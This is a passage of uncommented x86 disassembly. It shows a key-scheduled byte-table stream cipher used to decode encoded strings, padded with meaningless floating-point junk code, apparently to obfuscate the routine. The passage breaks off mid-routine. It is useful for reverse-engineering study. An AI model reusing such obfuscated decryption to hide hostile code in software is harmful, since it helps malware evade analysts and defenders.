cmp dword [ebp - 0x3938], 0x100
jae 0x42c873
mov eax, dword [ebp - 0x3938]
mov cl, byte [ebp - 0x3938]
mov byte [ebp + eax - 0x6a3c], cl
jmp 0x42c843
mov dword [ebp - 0x44c0], 0
mov byte [ebp - 0x3369], 0
mov dword [ebp - 0x3938], 0xff
jmp 0x42c89f
mov edx, dword [ebp - 0x3938]
sub edx, 1
mov dword [ebp - 0x3938], edx
cmp dword [ebp - 0x3938], 0
jbe 0x42cf09
mov dword [ebp - 0x4ac4], 0
mov dword [ebp - 0x48a4], 1
mov eax, dword [ebp - 0x48a4]
cmp eax, dword [ebp - 0x3938]
jae 0x42c8e0
mov ecx, dword [ebp - 0x48a4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x48a4], edx
jmp 0x42c8c0
mov eax, dword [ebp - 0x44c0]
mov dword [ebp - 0x51f4], eax
cmp dword [ebp - 0x51f4], 3
ja case.default.0x42c8ff
mov ecx, dword [ebp - 0x51f4]
jmp dword [ecx*4 + 0x46b4f0]
movzx edx, byte [ebp - 0x3369]
movzx ebx, byte [ebp + edx - 0x6a3c]
movsd xmm0, qword [ebp - 0x470c]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c9e8
movzx eax, byte [ebp - 0x3369]
movzx ebx, byte [ebp + eax - 0x6a3c]
movsd xmm0, qword [ebp - 0x470c]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c9e8
movzx ecx, byte [ebp - 0x3369]
movzx ebx, byte [ebp + ecx - 0x6a3c]
movsd xmm0, qword [ebp - 0x470c]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c9e8
movzx edx, byte [ebp - 0x3369]
movzx ebx, byte [ebp + edx - 0x6a3c]
movsd xmm0, qword [ebp - 0x470c]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3369], bl
jmp 0x42c9e8
movzx eax, byte [ebp - 0x3369]
movzx ecx, byte [ebp + eax - 0x6a3c]
mov edx, dword [ebp - 0x6220]
add edx, dword [ebp - 0x44c0]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x3369], cl
mov ecx, dword [ebp - 0x44c0]
add ecx, 1
mov dword [ebp - 0x44c0], ecx
movzx edx, byte [ebp - 0x3fea]
cmp dword [ebp - 0x44c0], edx
jb 0x42ce20
mov dword [ebp - 0x44c0], 0
movsd xmm0, qword [0xa6ef48]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [0xa6ee60]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [0xa6ed38]
movsd qword [ebp - 0x4458], xmm0
movsd xmm0, qword [0xa6eb90]
movsd qword [ebp - 0x423c], xmm0
movsd xmm0, qword [0xa6ea18]
movsd qword [ebp - 0x4390], xmm0
movsd xmm0, qword [0xa6e7c8]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x4458]
addsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x4458], xmm0
movsd xmm0, qword [ebp - 0x4458]
addsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x4458], xmm0
movsd xmm0, qword [ebp - 0x423c]
addsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x423c], xmm0
movsd xmm0, qword [ebp - 0x42d0]
addsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x420c]
mulsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x42d0]
addsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x420c]
comisd xmm0, xmmword [ebp - 0x3c50]
jbe 0x42cbc5
movsd xmm0, qword [ebp - 0x3c50]
mulsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x4390]
mulsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x4390], xmm0
movsd xmm0, qword [ebp - 0x4390]
mulsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x4390], xmm0
movsd xmm0, qword [ebp - 0x3c50]
subsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x3c50]
addsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x423c]
mulsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x423c], xmm0
movzx eax, byte [ebp - 0x3fea]
movzx ecx, byte [ebp - 0x3369]
add ecx, eax
mov byte [ebp - 0x3369], cl
jmp 0x42ce20
movsd xmm0, qword [ebp - 0x4458]
addsd xmm0, qword [ebp - 0x423c]
movsd qword [ebp - 0x4458], xmm0
movsd xmm0, qword [ebp - 0x420c]
addsd xmm0, qword [ebp - 0x4458]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x4458]
mulsd xmm0, qword [ebp - 0x423c]
movsd qword [ebp - 0x4458], xmm0
movsd xmm0, qword [ebp - 0x42d0]
addsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x42d0], xmm0
movsd xmm0, qword [ebp - 0x3c50]
addsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x4390]
subsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x4390], xmm0
movsd xmm0, qword [ebp - 0x4458]
addsd xmm0, qword [ebp - 0x4390]
movsd qword [ebp - 0x4458], xmm0
movsd xmm0, qword [ebp - 0x4390]
addsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x4390], xmm0
movsd xmm0, qword [ebp - 0x420c]
mulsd xmm0, qword [ebp - 0x423c]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x423c]
addsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x423c], xmm0
movsd xmm0, qword [ebp - 0x420c]
addsd xmm0, qword [ebp - 0x423c]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x3c50]
subsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x42d0]
comisd xmm0, xmmword [ebp - 0x4390]
jbe 0x42cd90
movsd xmm0, qword [ebp - 0x423c]
subsd xmm0, qword [ebp - 0x4390]
movsd qword [ebp - 0x423c], xmm0
movsd xmm0, qword [ebp - 0x3c50]
addsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x423c]
divsd xmm0, qword [ebp - 0x4390]
movsd qword [ebp - 0x423c], xmm0
movsd xmm0, qword [ebp - 0x420c]
mulsd xmm0, qword [ebp - 0x4458]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x423c]
subsd xmm0, qword [ebp - 0x4390]
movsd qword [ebp - 0x423c], xmm0
movsd xmm0, qword [ebp - 0x42d0]
subsd xmm0, qword [ebp - 0x420c]
movsd qword [ebp - 0x42d0], xmm0
jmp 0x42ce20
movsd xmm0, qword [ebp - 0x3c50]
divsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x4390]
subsd xmm0, qword [ebp - 0x3c50]
movsd qword [ebp - 0x4390], xmm0
movsd xmm0, qword [ebp - 0x423c]
divsd xmm0, qword [ebp - 0x4390]
movsd qword [ebp - 0x423c], xmm0
movsd xmm0, qword [ebp - 0x420c]
mulsd xmm0, qword [ebp - 0x4458]
movsd qword [ebp - 0x420c], xmm0
movsd xmm0, qword [ebp - 0x3c50]
mulsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x3c50], xmm0
movsd xmm0, qword [ebp - 0x3c50]
subsd xmm0, qword [ebp - 0x42d0]
movsd qword [ebp - 0x3c50], xmm0
movzx edx, byte [ebp - 0x3369]
and edx, dword [ebp - 0x48a4]
mov dword [ebp - 0x42d8], edx
mov eax, dword [ebp - 0x4ac4]
add eax, 1
mov dword [ebp - 0x4ac4], eax
cmp dword [ebp - 0x4ac4], 0xb
jbe 0x42ce5f
mov eax, dword [ebp - 0x42d8]
xor edx, edx
div dword [ebp - 0x3938]
mov dword [ebp - 0x42d8], edx
mov ecx, dword [ebp - 0x42d8]
cmp ecx, dword [ebp - 0x3938]
ja 0x42c8e0
mov edx, dword [ebp - 0x3938]
cmp edx, dword [ebp - 0x42d8]
je 0x42cf04
mov eax, dword [ebp - 0x42d8]
movzx ecx, byte [ebp + eax - 0x6a3c]
mov edx, dword [ebp - 0x3938]
movzx eax, byte [ebp + edx - 0x6a3c]
xor eax, ecx
mov ecx, dword [ebp - 0x3938]
mov byte [ebp + ecx - 0x6a3c], al
mov edx, dword [ebp - 0x3938]
movzx eax, byte [ebp + edx - 0x6a3c]
mov ecx, dword [ebp - 0x42d8]
movzx edx, byte [ebp + ecx - 0x6a3c]
xor edx, eax
mov eax, dword [ebp - 0x42d8]
mov byte [ebp + eax - 0x6a3c], dl
mov ecx, dword [ebp - 0x42d8]
movzx edx, byte [ebp + ecx - 0x6a3c]
mov eax, dword [ebp - 0x3938]
movzx ecx, byte [ebp + eax - 0x6a3c]
xor ecx, edx
mov edx, dword [ebp - 0x3938]
mov byte [ebp + edx - 0x6a3c], cl
jmp 0x42c890
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x6a3c]
mov byte [ebp - 0x32f4], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x6a3c]
mov byte [ebp - 0x3304], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x6a3c]
mov byte [ebp - 0x3386], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x6a3c]
mov byte [ebp - 0x3301], cl
movzx edx, byte [ebp - 0x3369]
mov al, byte [ebp + edx - 0x6a3c]
mov byte [ebp - 0x331c], al
mov dword [ebp - 0x51f0], 0xe
cmp dword [ebp - 0x51f0], 2
jle 0x42e6cb
mov ecx, dword [ebp - 0x51f0]
and ecx, 1
jne 0x42e6cb
mov dword [ebp - 0x3564], 0
mov dword [ebp - 0x3c90], 0
mov edx, dword [ebp - 0x3c90]
add edx, 1
mov dword [ebp - 0x3c90], edx
mov dword [ebp - 0x4300], 0
mov eax, dword [ebp - 0x3564]
shl eax, 1
mov dword [ebp - 0x4300], eax
mov dword [ebp - 0x4200], 0
mov ecx, dword [ebp - 0x4304]
add ecx, dword [ebp - 0x4300]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x4200]
mov dword [ebp - 0x4200], edx
mov dword [ebp - 0x41f8], 0
mov eax, dword [ebp - 0x41f8]
add eax, 0x61
mov dword [ebp - 0x41f8], eax
mov dword [ebp - 0x4344], 0
mov ecx, dword [ebp - 0x3564]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4344], edx
mov dword [ebp - 0x41fc], 0
mov eax, dword [ebp - 0x4304]
add eax, dword [ebp - 0x4344]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x41fc]
mov dword [ebp - 0x41fc], ecx
mov dword [ebp - 0x41ec], 0
mov edx, dword [ebp - 0x41ec]
add edx, 0xee
mov dword [ebp - 0x41ec], edx
mov dword [ebp - 0x41e8], 0
mov eax, dword [ebp - 0x4200]
sub eax, dword [ebp - 0x41f8]
add eax, dword [ebp - 0x41e8]
mov dword [ebp - 0x41e8], eax
mov dword [ebp - 0x41e4], 0
mov ecx, dword [ebp - 0x41fc]
sub ecx, dword [ebp - 0x41ec]
add ecx, dword [ebp - 0x41e4]
mov dword [ebp - 0x41e4], ecx
mov dword [ebp - 0x4348], 0
mov edx, dword [ebp - 0x41e8]
shl edx, 4
mov dword [ebp - 0x4348], edx
mov dword [ebp - 0x426c], 0
movss xmm0, dword [0xa6f23c]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [0xa6f188]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [0xa6f0d0]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [0xa6f014]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x3634]
mulss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x33e0]
mulss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x34d0]
addss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x3634]
mulss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x3444]
comiss xmm0, dword [ebp - 0x3634]
jbe 0x42d453
movss xmm0, dword [ebp - 0x33e0]
subss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x33e0]
addss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x3444]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x34d0]
addss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x33e0]
subss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x33e0]
mulss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x34d0]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x34d0]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x3444]
comiss xmm0, dword [ebp - 0x33e0]
jbe 0x42d3f1
movss xmm0, dword [ebp - 0x3634]
mulss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x34d0]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x34d0]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x33e0]
divss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x3444]
divss xmm0, dword [ebp - 0x34d0]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x3444]
divss xmm0, dword [ebp - 0x34d0]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x3634]
mulss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x33e0]
divss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x34d0]
comiss xmm0, dword [ebp - 0x3634]
jbe 0x42d38f
movss xmm0, dword [ebp - 0x34d0]
addss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x34d0]
mulss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x3634]
mulss xmm0, dword [ebp - 0x34d0]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x3444]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x3444], xmm0
jmp 0x42d3ef
movss xmm0, dword [ebp - 0x3444]
divss xmm0, dword [ebp - 0x34d0]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x34d0]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x34d0], xmm0
movss xmm0, dword [ebp - 0x33e0]
subss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x34d0]
divss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x34d0], xmm0
jmp 0x42d451
movss xmm0, dword [ebp - 0x33e0]
subss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x3444]
addss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x33e0]
addss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x33e0]
addss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x33e0], xmm0
jmp 0x42d4bf
movss xmm0, dword [ebp - 0x33e0]
subss xmm0, dword [ebp - 0x3444]
movss dword [ebp - 0x33e0], xmm0
movss xmm0, dword [ebp - 0x3444]
addss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x3444]
addss xmm0, dword [ebp - 0x33e0]
movss dword [ebp - 0x3444], xmm0
movss xmm0, dword [ebp - 0x34d0]
addss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x34d0], xmm0
mov eax, dword [ebp - 0x41e4]
mov dword [ebp - 0x426c], eax
mov dword [ebp - 0x4270], 0
mov ecx, dword [ebp - 0x4348]
or ecx, dword [ebp - 0x426c]
mov dword [ebp - 0x4270], ecx
mov byte [ebp - 0x3387], 0
movsd xmm0, qword [0xa6ecf8]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [0xa6ec08]
movsd qword [ebp - 0x454c], xmm0
movsd xmm0, qword [0xa6eb30]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [0xa6ea68]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [0xa6e970]
movsd qword [ebp - 0x4524], xmm0
movsd xmm0, qword [0xa6e820]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [0xa6e6e8]
movsd qword [ebp - 0x401c], xmm0
movsd xmm0, qword [ebp - 0x42c8]
addsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x4234]
addsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x4014]
addsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x42c8]
addsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
mulsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x42c8]
addsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
mulsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
comisd xmm0, xmmword [ebp - 0x401c]
jbe 0x42d6c9
movsd xmm0, qword [ebp - 0x3dcc]
mulsd xmm0, qword [ebp - 0x4014]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x42c8]
mulsd xmm0, qword [ebp - 0x454c]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
mulsd xmm0, qword [ebp - 0x4014]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x454c]
subsd xmm0, qword [ebp - 0x3dcc]
movsd qword [ebp - 0x454c], xmm0
movsd xmm0, qword [ebp - 0x42c8]
addsd xmm0, qword [ebp - 0x454c]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x4014]
mulsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x4524]
addsd xmm0, qword [ebp - 0x4234]
movsd qword [ebp - 0x4524], xmm0
mov dl, byte [ebp - 0x4270]
mov byte [ebp - 0x3387], dl
jmp 0x42d984
movsd xmm0, qword [ebp - 0x4234]
divsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x4014]
divsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x4014]
subsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x4234]
divsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
divsd xmm0, qword [ebp - 0x4014]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x454c]
mulsd xmm0, qword [ebp - 0x3dcc]
movsd qword [ebp - 0x454c], xmm0
movsd xmm0, qword [ebp - 0x4234]
mulsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x4234]
addsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
addsd xmm0, qword [ebp - 0x4014]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x401c]
addsd xmm0, qword [ebp - 0x42c8]
movsd qword [ebp - 0x401c], xmm0
movsd xmm0, qword [ebp - 0x42c8]
addsd xmm0, qword [ebp - 0x454c]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x4014]
addsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x4014]
addsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x42c8]
subsd xmm0, qword [ebp - 0x454c]
movsd qword [ebp - 0x42c8], xmm0
movsd xmm0, qword [ebp - 0x401c]
comisd xmm0, xmmword [ebp - 0x454c]
jbe 0x42d8dc
movsd xmm0, qword [ebp - 0x4234]
addsd xmm0, qword [ebp - 0x42c8]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x4014]
addsd xmm0, qword [ebp - 0x4234]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
subsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x401c]
mulsd xmm0, qword [ebp - 0x454c]
movsd qword [ebp - 0x401c], xmm0
movsd xmm0, qword [ebp - 0x4524]
mulsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4524], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
mulsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
subsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x3dcc], xmm0
jmp 0x42d984
movsd xmm0, qword [ebp - 0x454c]
addsd xmm0, qword [ebp - 0x3dcc]
movsd qword [ebp - 0x454c], xmm0
movsd xmm0, qword [ebp - 0x4234]
addsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4234], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
mulsd xmm0, qword [ebp - 0x4014]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x401c]
mulsd xmm0, qword [ebp - 0x42c8]
movsd qword [ebp - 0x401c], xmm0
movsd xmm0, qword [ebp - 0x4014]
addsd xmm0, qword [ebp - 0x4524]
movsd qword [ebp - 0x4014], xmm0
movsd xmm0, qword [ebp - 0x3dcc]
subsd xmm0, qword [ebp - 0x4014]
movsd qword [ebp - 0x3dcc], xmm0
movsd xmm0, qword [ebp - 0x4234]
subsd xmm0, qword [ebp - 0x401c]
movsd qword [ebp - 0x4234], xmm0
mov byte [ebp - 0x3385], 0
movzx eax, byte [ebp - 0x331c]
mov cl, byte [ebp + eax - 0x6a3c]
mov byte [ebp - 0x3385], cl
movzx edx, byte [ebp - 0x32f4]
movzx eax, byte [ebp + edx - 0x6a3c]
movzx ecx, byte [ebp - 0x3304]
add ecx, eax
mov byte [ebp - 0x3304], cl
mov dl, byte [ebp - 0x32f4]
add dl, 1
mov byte [ebp - 0x32f4], dl
movzx eax, byte [ebp - 0x3304]
movzx ecx, byte [ebp - 0x331c]
mov dl, byte [ebp + eax - 0x6a3c]
mov byte [ebp + ecx - 0x6a3c], dl
movzx eax, byte [ebp - 0x3301]
movzx ecx, byte [ebp - 0x3304]
mov dl, byte [ebp + eax - 0x6a3c]
mov byte [ebp + ecx - 0x6a3c], dl
movzx eax, byte [ebp - 0x32f4]
movzx ecx, byte [ebp - 0x3301]
mov dl, byte [ebp + eax - 0x6a3c]
mov byte [ebp + ecx - 0x6a3c], dl
movzx eax, byte [ebp - 0x32f4]
mov cl, byte [ebp - 0x3385]
mov byte [ebp + eax - 0x6a3c], cl
movzx edx, byte [ebp - 0x3385]
movzx eax, byte [ebp + edx - 0x6a3c]
movzx ecx, byte [ebp - 0x3386]
add ecx, eax
mov byte [ebp - 0x3386], cl
movzx edx, byte [ebp - 0x3387]
movzx eax, byte [ebp - 0x3304]
movzx ecx, byte [ebp + eax - 0x6a3c]
movzx eax, byte [ebp - 0x32f4]
movzx eax, byte [ebp + eax - 0x6a3c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6a3c]
xor edx, ecx
movzx eax, byte [ebp - 0x3301]
movzx ecx, byte [ebp + eax - 0x6a3c]
movzx eax, byte [ebp - 0x331c]
movzx eax, byte [ebp + eax - 0x6a3c]
add ecx, eax
movzx eax, byte [ebp - 0x3386]
movzx eax, byte [ebp + eax - 0x6a3c]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6a3c]
movzx eax, byte [ebp + ecx - 0x6a3c]
xor edx, eax
mov byte [ebp - 0x3301], dl
mov cl, byte [ebp - 0x3387]
mov byte [ebp - 0x331c], cl
mov dl, byte [ebp - 0x3301]
mov byte [ebp - 0x3431], dl
cmp dword [ebp - 0x3564], 0
jle 0x42db0f
movsx ax, byte [ebp - 0x3431]
mov ecx, dword [ebp - 0x3564]
mov word [ebp + ecx*2 - 0x86], ax
mov edx, dword [ebp - 0x3c90]
add edx, 2
mov dword [ebp - 0x3c90], edx
mov eax, dword [ebp - 0x3564]
add eax, 1
mov dword [ebp - 0x4ac8], eax
jmp 0x42db3e
mov ecx, dword [ebp - 0x4ac8]
add ecx, 1
mov dword [ebp - 0x4ac8], ecx
mov edx, dword [ebp - 0x4ac8]
cmp edx, dword [ebp - 0x3c90]
jge 0x42dd9f
mov eax, dword [ebp - 0x3564]
add eax, 1
mov dword [ebp - 0x3564], eax
mov ecx, dword [ebp - 0x3564]
shl ecx, 1
mov dword [ebp - 0x4300], ecx
mov edx, dword [ebp - 0x4304]
add edx, dword [ebp - 0x4300]
movzx eax, byte [edx]
mov dword [ebp - 0x4200], eax
mov dword [ebp - 0x41f8], 0x61
mov ecx, dword [ebp - 0x3564]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4344], edx
mov eax, dword [ebp - 0x4304]
add eax, dword [ebp - 0x4344]
movzx ecx, byte [eax]
mov dword [ebp - 0x41fc], ecx
mov dword [ebp - 0x41ec], 0xee
mov edx, dword [ebp - 0x4200]
sub edx, dword [ebp - 0x41f8]
mov dword [ebp - 0x41e8], edx
mov eax, dword [ebp - 0x41fc]
sub eax, dword [ebp - 0x41ec]
mov dword [ebp - 0x41e4], eax
mov ecx, dword [ebp - 0x41e8]
shl ecx, 4
mov dword [ebp - 0x4348], ecx
mov edx, dword [ebp - 0x41e4]
mov dword [ebp - 0x426c], edx
mov eax, dword [ebp - 0x4348]
or eax, dword [ebp - 0x426c]
mov dword [ebp - 0x4270], eax
mov cl, byte [ebp - 0x4270]
mov byte [ebp - 0x3387], cl
movzx edx, byte [ebp - 0x331c]
mov al, byte [ebp + edx - 0x6a3c]
mov byte [ebp - 0x3385], al
movzx ecx, byte [ebp - 0x32f4]
movzx edx, byte [ebp + ecx - 0x6a3c]
movzx eax, byte [ebp - 0x3304]
add eax, edx
mov byte [ebp - 0x3304], al
mov cl, byte [ebp - 0x32f4]
add cl, 1
mov byte [ebp - 0x32f4], cl
movzx edx, byte [ebp - 0x3304]
movzx eax, byte [ebp - 0x331c]
mov cl, byte [ebp + edx - 0x6a3c]
mov byte [ebp + eax - 0x6a3c], cl
movzx edx, byte [ebp - 0x3301]
movzx eax, byte [ebp - 0x3304]
mov cl, byte [ebp + edx - 0x6a3c]
mov byte [ebp + eax - 0x6a3c], cl
movzx edx, byte [ebp - 0x32f4]
movzx eax, byte [ebp - 0x3301]
mov cl, byte [ebp + edx - 0x6a3c]
mov byte [ebp + eax - 0x6a3c], cl
movzx edx, byte [ebp - 0x32f4]
mov al, byte [ebp - 0x3385]
mov byte [ebp + edx - 0x6a3c], al
movzx ecx, byte [ebp - 0x3385]
movzx edx, byte [ebp + ecx - 0x6a3c]
movzx eax, byte [ebp - 0x3386]
add eax, edx
mov byte [ebp - 0x3386], al
movzx ecx, byte [ebp - 0x3387]
movzx edx, byte [ebp - 0x3304]
movzx eax, byte [ebp + edx - 0x6a3c]
movzx edx, byte [ebp - 0x32f4]
movzx edx, byte [ebp + edx - 0x6a3c]
add eax, edx
and eax, 0xff
